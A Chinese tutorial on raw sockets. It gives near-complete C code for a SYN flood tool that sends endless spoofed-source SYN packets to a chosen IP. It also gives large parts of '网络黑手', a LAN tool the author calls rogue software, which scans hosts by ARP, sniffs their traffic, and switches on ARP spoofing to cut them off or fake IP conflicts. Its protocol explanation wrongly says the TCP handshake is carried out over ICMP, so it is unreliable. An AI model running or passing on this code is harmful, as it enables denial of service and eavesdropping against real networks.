下载本文源代码和例程 一、 什么是洪水攻击 洪水之猛、势不可挡。如果将洪水比作对计算机的攻击,那大家可以想象得出,攻击是多的猛烈。 在安全领域所指的洪水攻击是指向目标机器发送大量无用的数据包,使得目标机器忙于处理这些无用的数据包,而无法处理正常的数据包。在攻击过程中,目标机 器的CPU的使用率将高于正常值,有时甚至会达到100%。这样将使目标机器的性能急剧下降。这有些象我们在日常生活中的电话,如果要使某个电话瘫痪,就 不停地拨这个电话的号码,那么其它的电话就无法拨通这个电话,当然,要想不接到骚扰电话,唯一的方法是将电话线拔了。同样,要想计算机完全避免洪水攻击的 唯一方法,就是不让这台计算机上网,更直接的就是将网线拔了。 二、 洪水攻击的原理 洪水攻击也称为拒绝服务攻击。可以有很多种方式进行这种攻击,本文主要讨论比较常用的利用TCP三次握手的漏洞来耗尽计算机资源的方式来进行攻击。 那么什么是TCP的三次握手呢?其实原理很简单。这要从TCP的连接过程说起。我们一般使用Socket API来进行TCP连接。要做的只是将IP或计算机名以及端口号传入connect函数,如果参数正确,目标机器的服务可用的话,这个TCP连接就会成 功。之所以连接这么方便,是因为Socket API已经将一些底层的操作隐藏了起来。那么这里面究竟发生了什么呢? 我们由网络 7层可知,在TCP所在的传输层下面是网络层,在这一层最有代表性的协议就是IP协议。而TCP数据包就是通过IP协议传输的。这就是我们为什么经常说 TCP/IP协议的缘故。TCP在底层的连接并不是这么简单。在真正建立连接之前,必须先通过ICMP(Internet Control Message Protcol)协议对连接进行验证。那么如何验证呢? 假设有两台机器A和B。A使用TCP协议连接B,在建立连接 之前,A先发一个ICMP报文(就是一个数据包)给B,B在接收到这个数据包后,利用ICMP报文中的源地址(也就是A的IP)再给A发一个ICMP报 文,A在接到这个ICMP报文后,又给B发了一个ICMP报文,B如果成功接到这个报文后,就正式和A建立TCP连接。过程示意如图1所示:
图1 TCP连接的三次握手
问题就出在第二次握手上。如果是ICMP的报文的话,ICMP的源地址应该是A的IP,但如果是一个非法的ICMP报文的话,ICMP的源地址可能并不 是A的IP,也许就是一个并不存在的IP。如果是这样,那在第二次握手时,B也就无法找到A了,这当然就不可能发生第三次握手。因为,B找不到A,而A又 迟迟得不到B的回信,这样TCP就无法连接。但攻击者的目的并不是要建立TCP连接,而是要耗尽B的资源。由于B找不到A,B也就无法得到A的回信,如果 这种情况发生,B并不会将在第一次握手中建立的资源马上释放,而会有一个超时,假设这个时间是10秒。如果A在这10秒内向B发送10000个这样的连接 数据包,就意味着B要维护这10000个连接资源。如果过了10秒,B释放了这些资源,A在下一个10称还会发10000个连接包。如果A不断地发这样数 据包,就意味着B将永远要维护这10000个连接,因此,B的CPU和内存将被耗尽,至少也得被占用大部分。所以B就无法响应其它机器的请求,或者是响应 迟缓。
三、 洪水攻击的实现 在上一部分我们讨论了洪水攻击原理,在这一部分我将给出一个完成的实例说明如何使用C语言来设计洪水攻击程序。 由于ICMP报文是用IP协议发送的,因此,我们需要自己定义IP数据包的数据结构,这样我们就可以任意修改IP数据包的内容了。下面是IP协议的数据结构。
typedef struct _iphdr //定义IP首部 { unsigned char h_verlen; //4位首部长度,4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 } IP_HEADER;
这个结构比较复杂,我们只看其中3个,其余的成员可以参考《TCP/IP详解 卷1:协议》的相关部分。最后两个成员sourceIP和destIP就是上述所说的A和B的IP。而最重要的就是checksum,这个参数是一个验证 码,用于验证发送的IP数据包的正确性,我们把这个验证码称为校验和。计算它的函数如下:
USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); }
看了上面的代码也许会有很多疑问,下面我就简单描述一下如何计算机IP数据包的校验和。IP数据包的校验和是根据IP首部计算机出来的,而并不对IP数 据包中的数据部分进行计算。为了计算一个数作为校验和,首先把校验和字段赋为0。然后,对首部中每个16位进行二进制白马反码求和(我们可以将整个IP首 部看成是由一组16位的字组成),将结果保存在校验和字段中。当收到一份IP数据报后,同样对首部中每个16位进行二进制反码的求和。由于接收方在计算机 过程中包含了发送方存在首部的校验和,因此,如果首部在传输过程中没有发生任何差错,那么接收方计算的结果应该全是1.如果结果不全是1(即校验和错 误),那么IP就丢弃收到的数据报。但不生成差错报文,由上层(如TCP协议)去发现丢失的数据报并进行重传。 由于我们要发送假的TCP连接包,因此,为分别定义一个伪TCP首部和真正的TCP首部。
struct //定义TCP伪首部 { unsigned long saddr; //源地址
unsigned long daddr; //目的地址 char mbz; char ptcl; //协议类型 unsigned short tcpl; //TCP长度 } psd_header; typedef struct _tcphdr //定义TCP首部 { USHORT th_sport; //16位源端口 USHORT th_dport; //16位目的端口 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres;//4位首部长度/6位保留字 unsigned char th_flag;//6位标志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位校验和 USHORT th_urp; //16位紧急数据偏移量 } TCP_HEADER;
在以上的准备工作都完成后,就可以写main函数中的内容了。下面是程序的定义部分。
#include <winsock2.h> #include <Ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #define SEQ 0x28376839 #define SYN_DEST_IP "127.0.0.1"//被攻击的默认IP #define FAKE_IP "10.168.150.1" //伪装IP的起始值,可以是任意IP #define STATUS_FAILED 0xFFFF//错误返回值 int main(int argc, char **argv) { int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; int TimeOut=2000,SendSEQ=0; char SendBuf[128]; // 每个数据包是128个字节 char DestIP[16]; // 要攻击的机器IP,在这里就是B的IP memset(DestIP, 0, 4); // 如果通过参数输入个IP,将DestIP赋为这IP,否则SYN_DEST_IP赋给DestIP if(argc < 2) strcpy(DestIP, SYN_DEST_IP); else strcpy(DestIP, argv[1]); // 以下是声明Socket变量和相应的数据结构
WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; TCP_HEADER tcp_header; … … }
下一步就是初始化Raw Socket
//初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) // 使用Socket2.x版本 { fprintf(stderr,"WSAStartup failed: %d/n",ErrorCode); ExitProcess(STATUS_FAILED); } SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if (SockRaw==INVALID_SOCKET) // 如果建立Socket错误,输出错误信息 { fprintf(stderr,"WSASocket() failed: %d/n",WSAGetLastError()); ExitProcess(STATUS_FAILED); }
第二步就是填充刚才定义的那些数据结构
//设置IP_HDRINCL以自己填充IP首部 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if (ErrorCode==SOCKET_ERROR)printf("Set IP_HDRINCL Error!/n"); __try{ //设置发送超时 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { fprintf(stderr,"Failed to set send TimeOut: %d/n",WSAGetLastError()); __leave; } memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET; DestAddr.sin_addr.s_addr=inet_addr(DestIP); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); //填充IP首部 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度 ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节) ip_header.ident=1; //16位标识 ip_header.frag_and_flags=0; //3位标志位 ip_header.ttl=128; //8位生存时间TTL ip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…) ip_header.checksum=0;//16位IP首部校验和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址 ip_header.destIP=inet_addr(DestIP); //32位目的IP地址 //填充TCP首部 tcp_header.th_sport=htons(7000);//源端口号 tcp_header.th_dport=htons(8080);//目的端口号 tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号 tcp_header.th_ack=0; //ACK序列号置为0 tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP长度和保留位 tcp_header.th_flag=2; //SYN 标志 tcp_header.th_win=htons(16384); //窗口大小 tcp_header.th_urp=0; //偏移 tcp_header.th_sum=0; //校验和 //填充TCP伪首部(用于计算校验和,并不真正发送) psd_header.saddr=ip_header.sourceIP;//源地址 psd_header.daddr=ip_header.destIP;//目的地址 psd_header.mbz=0; psd_header.ptcl=IPPROTO_TCP;//协议类型 psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部长度
最后一步是通过一个while循环发送向目标机器发送报文
while(1) { //每发送10000个报文输出一个标示符 printf("."); for(counter=0;counter<10000;counter++){ if(SendSEQ++==65536) SendSEQ=1;//序列号循环 //更改IP首部 ip_header.checksum=0;//16位IP首部校验和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址
//更改TCP首部 tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号 tcp_header.th_sum=0; //校验和 //更改TCP Pseudo Header psd_header.saddr=ip_header.sourceIP; //计算TCP校验和,计算校验和时需要包括TCP pseudo header memcpy(SendBuf,&psd_header,sizeof(psd_header)); memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); //计算IP校验和 memcpy(SendBuf,&ip_header,sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4); datasize=sizeof(ip_header)+sizeof(tcp_header); ip_header.checksum=checksum((USHORT *)SendBuf,datasize); //填充发送缓冲区 memcpy(SendBuf,&ip_header,sizeof(ip_header)); //发送TCP报文 ErrorCode=sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr)); if (ErrorCode==SOCKET_ERROR) printf("/nSend Error:%d/n",GetLastError()); } }
到现在为止,我们已经完成了一个洪水攻击的控制台软件。本程序使用VC6.0调试通过。感性趣的读者可以下载本文提供的完整代码。在Debug目录中有 一个exe程序,synflooding.exe,可以通过参数将目标IP传入exe。如synflooding 129.11.22.33,如果不带参数,默认就是本机(127.0.0.1)。软件的运行界面如图2所示,攻击后的CPU使用情况如图3如示。
图2 攻击软件运行界面
原始套接字透析之综合实例:网络黑手
为了给本系列文章一个具体的实例,笔者编写了"网络黑手"这样一个免费软件。它是一种融合了目前许多类似工具软件功能的具有超强攻击/侦听能力的流氓软件,并可能将成为又一个臭名昭著的破坏性工具,它的功能包括: 1. 检测本地网络适配器列表并选择一个工作适配器; 2. 检测局域网内指定IP范围内所有节点的IP地址、MAC地址信息,并列表显示; 3. 监听局域网上某节点的所有收发信息; 4. 剪断局域网上某机器与网关的联络,从而让其不能上网; 5. 不停向局域网内某台主机发送ARP报文,让其不断提示"IP冲突",烦恼不已。 如果你所在的局域网内有人使用此软件攻击你的计算机,你将变得痛苦不堪。所以,笔者不得不声明的是编写本软件的目的不在于要荼毒生灵、贻害人间,而仅仅 是为了本系列教程教学和广大读者掌握黑客攻防技术的需要。任何个人或组织使用本软件进行破坏行为,都应受到道德的谴责或可能的法律制裁。 尽管如此,为了防范于未然,笔者在研制"网络黑手"这一毒药的同时,也精心研制了其相应的解药――"网络黑手终结者",这一软件也是免费的。在你的网络内,如果有谁使用了"网络黑手",你将可以用"网络黑手终结者"直接终结之! 点击此处下载网络黑手; 网络黑手程序的运行最好先安装winpcap,请在此地址下载:http://www.winpcap.org/。 1、网络黑手的实现 网络黑手0.1版(限于时间的原因,在本教程中我们给出的仅仅是一个教学版本,所以版本号仅为0.1),其界面如下: 界面的左上角用于设置监控的目标范围(IP地址,如192.168.1.1~192.168.1.254,只能输入与本机处于同一子网的IP地址)、选 择本地网卡(对于安装了多块网卡的用户),按钮"开始"用于启动监控和其他操作,启动成功后"开始"按钮会变为"停止"。
界面的左下角列出活动的与本机处于同一子网机器的主机名、IP地址、MAC地址,在相应的主机上双击"Sniffer"和"ARP欺骗"项目可以启动和停止对该主机的嗅探和ARP欺骗(会切断该机的外网出口)。 与之对应的数据结构为:
typedef struct tagHostList { unsigned long ip; char mac[6]; bool sniffer; bool arpCheat; bool ipConflict; } HostList;
界面的右边即为监控到报文的源IP地址、目的IP地址、协议、源端口号、目的端口号以及报文的长度,而表格的最后一行将对应显示相关IP报文的数据。为 了简化软件的设计和减少程序对内存的占用,在Sniffer时,实际缓存的数据包MAX_PACKET最大为30,超过的会自动被覆盖。 与之对应的数据结构为:
typedef struct tagPacketList { unsigned long srcIp; unsigned long desIp; unsigned char protocol; unsigned long srcPort; unsigned long desPort; unsigned long len; char data[256]; }PacketList;
我们需要在对话框的初始化函数中构造上述界面中的表格项目,相关源代码如下:
BOOL CNetHackerDlg::OnInitDialog() { CDialog::OnInitDialog(); // IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon // TODO: Add extra initialization here int i=0; //… m_hostList.Create(CRect(12,115,435,466),this, 1000,WS_BORDER |WS_VISIBLE |WS_VSCROLL|WS_CHILD); m_hostList.SetScrollRange(1,0,351); m_hostList.EnableScrollBar(ESB_ENABLE_BOTH); m_hostList.SetCols (5); m_hostList.SetRows (256); for (i = 0; i < 256; i ++) { m_hostList.SetRowHeight (i, 13); for(int j =0;j<5;j++) { m_hostList.SetAlignment(i,j,DT_CENTER); } } m_hostList.SetColWidth (0, 100); m_hostList.SetColWidth (1, 130); m_hostList.SetColWidth (2, 50); m_hostList.SetColWidth (3, 55); m_hostList.SetColWidth (4, 70);
m_hostList.SetText (0,0,"IP地址"); m_hostList.SetText (0,1,"MAC地址"); m_hostList.SetText (0,2,"Sniffer"); m_hostList.SetText (0,3,"ARP欺骗"); m_hostList.SetText (0,4,"报告IP冲突"); m_packetList.Create(CRect(444,26,768,466),this, 1000); m_packetList.SetCols (6); m_packetList.SetRows (31); for (i = 0; i < 30; i ++) { m_packetList.SetRowHeight (i, 13); for(int j =0;j<6;j++) { m_packetList.SetAlignment(i,j,DT_CENTER); } } m_packetList.SetRowHeight (i, 47); m_packetList.SetColWidth (0, 75); m_packetList.SetColWidth (1, 75); m_packetList.SetColWidth (2, 32); m_packetList.SetColWidth (3, 45); m_packetList.SetColWidth (4, 55); m_packetList.SetColWidth (5, 40); m_packetList.SetText (0,0,"源IP"); m_packetList.SetText (0,1,"目的IP"); m_packetList.SetText (0,2,"协议"); m_packetList.SetText (0,3,"源端口"); m_packetList.SetText (0,4,"目的端口"); m_packetList.SetText (0,5,"长度"); m_packetList.JoinCells (30,0,30,5); mailDlg = this; return TRUE; // return TRUE unless you set the focus to a control }
右边表格中最后的一行是多列合并的结果,完成此合并的代码为:
int XTable::JoinCells (int startRow, int startCol, int endRow, int endCol) { if (startRow < 0 || startRow >= rows) return -1;
if (endRow < 0 || startRow >= rows) return -1; if (startCol < 0 || startCol >= cols) return -1; if (endCol < 0 || endCol >= cols) return -1; if (startRow > endRow || startCol > endCol) return -1; for (int i = startRow; i <= endRow; i++) { for (int j = startCol; j <=endCol; j++) { cells [i * cols + j].SetSpan(0,0); } } cells [startRow * cols + startCol].SetSpan(endRow -startRow+1, endCol - startCol+1); return 0; }
其"反函数"为:
int XTable::UnjoinCells (int row, int col) { if (row < 0 || row >= this->rows) return -1; if (col < 0 || col >= this->cols) return -1; if (cells [row * cols + col].rowSpan <= 1 && cells [row * cols + col].colSpan <= 1 ) return -1; for (int i = row; i <= row + cells [row * cols + col].rowSpan; i++) { for (int j = col; j <= cells [row * cols + col].colSpan; j++) { cells[i*cols+j] = defaultCell; cells [i * cols + j].SetSpan(1,1); } } return 0; }
程序中的IDC_ADAPTERLIST_COMBO控件用于提供用户选择本地适配器,获得本地适配器列表的代码如下(也处于对话框的初始化函数中):
char errbuf[PCAP_ERRBUF_SIZE]; /* 取得列表 */ if (pcap_findalldevs(&alldevs, errbuf) == - 1) { AfxMessageBox("获得网卡列表失败!/n"); GetDlgItem(IDC_STARTSTOP_BUTTON)->EnableWindow(FALSE); } /* 输出列表 */ for (d = alldevs; d; d = d->next) { CString str(d->name); if (str.Find("//Device//NPF_Generic", 0) == - 1) m_adapterList.AddString(str); }
给监控IP地址范围内的主机发送ARP请求包并获取反馈,即可获得监控范围内活动机器的IP地址和MAC地址,以进行进一步地管理。 发送ARP请求的函数代码:
void SendArpReq(unsigned long srcIp,unsigned long desIp,UCHAR * srcMac) { char sendbuf[1024]; ETHDR eth; ARPHDR arp; memcpy(eth.eh_src,mmac,6); eth.eh_type=htons(ETH_ARP); arp.arp_hdr=htons(ARP_HARDWARE); arp.arp_pro=htons(ETH_IP); arp.arp_hln=6; arp.arp_pln=4; arp.arp_opt=htons(ARP_REQUEST); arp.arp_spa=htonl(srcIp); arp.arp_tpa=htonl(desIp); memcpy(arp.arp_sha,srcMac,6); for(int i=0;i<6;i++) { eth.eh_dst[i]=0xff; arp.arp_tha[i]=0x00; }
memset(sendbuf,0,sizeof(sendbuf)); memcpy(sendbuf,&eth,sizeof(eth)); memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp)); PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp)); if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE) { AfxMessageBox("PacketSendPacket in SendArpReq Error"); } }
双击表格中控制Sniffer、ARP欺骗和IP地址重复的栏目,需要变换其中的显示内容,要么从"ON"到"OFF",要么从"OFF"到"ON"(当然,主机数据结构中的控制属性也要随之而改变),相关的代码为:
void XTable::OnLButtonDblClk(UINT nFlags, CPoint point) { HitTest(point, focusRow, focusCol); SetFocus(); CString str = GetText(focusRow, focusCol); if (str == "ON") { SetText(focusRow, focusCol, "OFF"); switch (focusCol) { case 2: oldHostList[focusRow - 1+nVWndPos / 13].sniffer = 0; break; case 3: oldHostList[focusRow - 1+nVWndPos / 13].arpCheat = 0; break; case 4: oldHostList[focusRow - 1+nVWndPos / 13].ipConflict = 0; break; default: break; } } else if (str == "OFF") { SetText(focusRow, focusCol, "ON"); switch (focusCol)
{ case 2: oldHostList[focusRow - 1+nVWndPos / 13].sniffer = 1; break; case 3: oldHostList[focusRow - 1+nVWndPos / 13].arpCheat = 1; break; case 4: oldHostList[focusRow - 1+nVWndPos / 13].ipConflict = 1; break; default: break; } } Invalidate(); CWnd::OnLButtonDblClk(nFlags, point); }
上述代码中的HitTest()调用比较关键,用于获得当前选中的行和列,我们来看看相关的代码:
bool XTable::HitTest(CPoint point, int &row, int &col) { for (int i = 0; i < rows; i++) { for (int j = 0; j < rows; j++) { RECT rect = GetRect(i, j); if (rect.top <= point.y && rect.bottom > point.y && rect.left <= point.x && rect.right > point.x) { row = i; col = j; return true; } } } return false; }
在表格的某一格处于焦点时,我们应给其画一个矩形边框:
int XTable::Draw(CDC* pDC)
{ //… if (focusRow < rows && focusCol < cols) //** { RECT rect = GetRect (focusRow, focusCol); GetCells (focusRow, focusCol)->DrawHitBorder(pDC, rect, RGB(0xb0, 0xb0, 0xb0)); } return 0; } int XCell::DrawHitBorder (CDC* pDC, RECT rect, COLORREF color) { CPen pen (PS_SOLID, 2, color); CPen* oldPen = pDC->SelectObject(&pen); pDC->MoveTo (rect.left, rect.top); pDC->LineTo (rect.right, rect.top); pDC->LineTo (rect.right, rect.bottom); pDC->LineTo (rect.left, rect.bottom); pDC->LineTo (rect.left, rect.top); pDC->SelectObject(oldPen); return 0; }
获得IP地址监控范围内主机列表的方法如下:
m_fromip.GetAddress(fromip); m_toip.GetAddress(toip); rthread = CreateThread(NULL, 0, sniff, 0, 0, 0); Sleep(100); //保证sniff线程已经稳定运行 SendArpReq(1, myip, mmac); while (1) { if (!(!mmac[0] && !mmac[1] && !mmac[2] && !mmac[3])) break; Sleep(100); } for (unsigned long i = fromip; i < myip; i++) { SendArpReq(myip, i, mmac); }
for (i = myip + 1; i <= toip; i++) { SendArpReq(myip, i, mmac); } Sleep(1000); for (i = 0; i < currentHstIndex; i++) { HOSTENT *tmpHostent; tmpHostent = gethostbyaddr((char*)(&(hostList[i].ip)), 16, AF_INET); if (tmpHostent) m_hostList.SetText(i + 1, 0, tmpHostent->h_name); m_hostList.SetText(i + 1, 1, inet_ntoa(*(struct in_addr*)(&(hostList[i].ip)))) ; m_hostList.SetText(i + 1, 3, "OFF"); CString str; str.Format("%02x-%02x-%02x-%02x-%02x-%02x", hostList[i].mac[0], hostList[i].mac[1], hostList[i].mac[2], hostList[i].mac[3], hostList[i].mac[4], hostList[i].mac[5]); m_hostList.SetText(i + 1, 2, str); m_hostList.SetText(i + 1, 4, "OFF"); m_hostList.SetText(i + 1, 5, "OFF"); } m_hostList.Invalidate();
上述代码的思路是给fromip~min(myip-1,toip),myip+1~toip范围内的主机发送ARP请求报文并监控其ARP回复,从而获得其IP与MAC的对应关系。当然,它首先用了同样的原理来获取本机的MAC地址。
为了在表格的垂直滚动条滚动时正确的设置滚动条的位置和显示正确的主机列表,我们应该给XTable添加垂直滚动条消息处理函数:
void XTable::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar *pScrollBar) { // TODO: Add your message handler code here and/or call default static UINT nVWndPos = 0; switch (nSBCode) { case SB_LINEDOWN: case SB_PAGEDOWN:
nPos = nVWndPos + 13; SetScrollPos(SB_VERT, nPos); nVWndPos = nPos; break; case SB_LINEUP: case SB_PAGEUP: nPos = nVWndPos - 13; SetScrollPos(SB_VERT, nPos); nVWndPos = nPos; break; case SB_THUMBTRACK: SetScrollPos(SB_VERT, nPos); nVWndPos = nPos; break; } for (int i = nVWndPos / 13, j = 0; i < currentHstIndex; i++, j++) { CString str; SetText(j + 1, 0, inet_ntoa(*(struct in_addr*)(&(hostList[i].ip)))); if (hostList[i].sniffer == 0) SetText(j + 1, 2, "OFF"); else SetText(j + 1, 2, "ON"); str.Format("%02x-%02x-%02x-%02x-%02x-%02x", hostList[i].mac[0], hostList[i].mac[1], hostList[i].mac[2], hostList[i].mac[3], hostList[i].mac[4], hostList[i].mac[5]); SetText(i + 1, 1, str); if (hostList[i].arpCheat == 0) SetText(j + 1, 3, "OFF"); else SetText(j + 1, 3, "ON"); if (hostList[i].ipConflict == 0) SetText(j + 1, 4, "OFF"); else SetText(j + 1, 4, "ON"); } for (; j < MAX_HOST; j++)
{ for (int k = 0; k < 5; k++) SetText(j + 1, k, ""); } Invalidate(); CWnd::OnVScroll(nSBCode, nPos, pScrollBar); }
上述程序依赖于监控(sniffer)相关代码,核心代码如下:
DWORD WINAPI Sniff(void *p) { char recvbuf[1024 *250]; memset(packetList, 0, MAX_PACKET *sizeof(PacketList)); if (PacketSetHwFilter(lpadapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) { AfxMessageBox("Unable to set the adapter to promiscuous mode"); return - 1; } if (PacketSetBuff(lpadapter, 500 *1024) == FALSE) { AfxMessageBox("PacketSetBuff Error"); return - 1; } if (PacketSetReadTimeout(lpadapter, 0) == FALSE) { AfxMessageBox("Unable to set the timeout"); return - 1; } if ((lppacketr = PacketAllocatePacket()) == FALSE) { AfxMessageBox("PacketAllocatePacket receive Error"); return - 1; } PacketInitPacket(lppacketr, (char*)recvbuf, sizeof(recvbuf));
while (1) { if (PacketReceivePacket(lpadapter, lppacketr, TRUE) == FALSE) { return - 1; } GetData(lppacketr); } return 0; }
其中调用的函数GetData()用于解析由PacketReceivePacket()函数收到的报文,关于分析ARP_REPLY报文以便获得局域网主机列表的代码如下:
void GetData(LPPACKET lp) { ULONG ulbytesreceived, off; ETHDR *eth; ARPHDR *arp; PIPHDR ip; char *buf, *pChar, *base; struct bpf_hdr *hdr; ulbytesreceived = lp->ulBytesReceived; buf = (char*)lp->Buffer; off = 0; while (off < ulbytesreceived) { hdr = (struct bpf_hdr*)(buf + off); off += hdr->bh_hdrlen; pChar = (char*)(buf + off); base = pChar; off = Packet_WORDALIGN(off + hdr->bh_caplen); eth = (PETHDR)pChar; arp = (PARPHDR)(pChar + sizeof(ETHDR)); if (eth->eh_type == htons(ETH_IP)) { ip = (PIPHDR)(pChar + sizeof(ETHDR));
for (int i = 0; i < oldHstIndex; i++) { if ((oldHostList[i].ip == ip->sourceip || oldHostList[i].ip == ip ->destip) && oldHostList[i].sniffer == 1) { packetList[currentPktIndex].srcIp = ip->sourceip; packetList[currentPktIndex].desIp = ip->destip; packetList[currentPktIndex].protocol = ip->proto; switch (ip->proto) { case IPPROTO_TCP: TCP_HEADER *pTcpHeader; pTcpHeader = (TCP_HEADER*)(pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4); packetList[currentPktIndex].srcPort = ntohs(pTcpHeader->th_sport); packetList[currentPktIndex].desPort = ntohs(pTcpHeader->th_dport); memcpy(packetList[currentPktIndex].data, pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4+20, 255); packetList[currentPktIndex].data[255] = 0; break; case IPPROTO_UDP: UDP_HEADER *pUdpHeader; pUdpHeader = (UDP_HEADER*)(pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4); packetList[currentPktIndex].srcPort = ntohs(pUdpHeader->uh_sport); packetList[currentPktIndex].desPort = ntohs(pUdpHeader->uh_dport); memcpy(packetList[currentPktIndex].data, pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4+sizeof(UDP_HEADER), 256); packetList[currentPktIndex].data[255] = 0; break; default: packetList[currentPktIndex].data[0] = 0; break; } currentPktIndex++;
currentPktIndex %= MAX_PACKET; if (currentPktIndex == 0) mailDlg->PostMessage(RECV_PKT); break; } } continue; } else if (eth->eh_type == htons(ETH_ARP)) { if (arp->arp_tpa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) { int i; for (i = 0; i < currentHstIndex; i++) { if (hostList[i].ip == arp->arp_spa) { break; } } if (i >= currentHstIndex) { hostList[currentHstIndex].ip = arp->arp_spa; memcpy(hostList[currentHstIndex].mac, eth->eh_src, 6); currentHstIndex++; } } else if (arp->arp_spa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) memcpy(mmac, eth->eh_src, 6); for (int i = 0; i < oldHstIndex; i++) { if ((oldHostList[i].ip == arp->arp_spa || oldHostList[i].ip == arp ->arp_tpa) && oldHostList[i].sniffer == 1) { packetList[currentPktIndex].srcIp = arp->arp_spa; packetList[currentPktIndex].desIp = arp->arp_tpa; packetList[currentPktIndex].protocol = ARP; packetList[currentPktIndex].data[0] = 0; currentPktIndex++; currentPktIndex %= MAX_PACKET;
if (currentPktIndex == 0) mailDlg->PostMessage(RECV_PKT); break; } } } } }
我们需要动态追踪局域网内节点的活动状态,以定时器实现:
void CNetHackerDlg::OnTimer(UINT nIDEvent) { // TODO: Add your message handler code here and/or call default if (sthread == 0) { if (!mmac[0] && !mmac[1] && !mmac[2] && !mmac[3] && !mmac[4] && !mmac[5]) { SendArpReq(1, myip, mmac); return ; } sthread = CreateThread(NULL, 0, CheckHost, 0, 0, 0); SetTimer(1, 7 *(toip - fromip), NULL); //启动定时器 } if (WaitForSingleObject(sthread, 0) != WAIT_OBJECT_0) { return ; } //test using self host /* hostList[currentHstIndex].sniffer = 1; hostList[currentHstIndex].ipConflict = 0; hostList[currentHstIndex].arpCheat = 0; hostList[currentHstIndex].ip = htonl(myip); hostList[currentHstIndex].ipConflict = 1; hostList[currentHstIndex].arpCheat = 1; memcpy(hostList[currentHstIndex].mac,mmac,6); currentHstIndex++; */ int i, j; for (i = 0; i < currentHstIndex; i++) { for (j = 0; j < oldHstIndex; j++) {
if (oldHostList[j].ip == hostList[i].ip) { hostList[i].sniffer = oldHostList[j].sniffer; hostList[i].ipConflict = oldHostList[j].ipConflict; hostList[i].arpCheat = oldHostList[j].arpCheat; break; } } } SetTimer(1, 20000, NULL); for (i = m_hostList.nVWndPos / 13, j = 0; i < currentHstIndex; i++, j++) { CString str; m_hostList.SetText(j + 1, 0, inet_ntoa(*(struct in_addr*)(&(hostList[i].ip)) )); if (hostList[i].sniffer == 0) m_hostList.SetText(j + 1, 2, "OFF"); else m_hostList.SetText(j + 1, 2, "ON"); str.Format("%02x-%02x-%02x-%02x-%02x-%02x", hostList[i].mac[0], hostList[i].mac[1], hostList[i].mac[2], hostList[i].mac[3], hostList[i].mac[4], hostList[i].mac[5]); m_hostList.SetText(i + 1, 1, str); if (hostList[i].arpCheat == 0) m_hostList.SetText(j + 1, 3, "OFF"); else m_hostList.SetText(j + 1, 3, "ON"); if (hostList[i].ipConflict == 0) m_hostList.SetText(j + 1, 4, "OFF"); else m_hostList.SetText(j + 1, 4, "ON"); } for (; j < 31; j++) { for (int k = 0; k < 5; k++) m_hostList.SetText(j + 1, k, "");
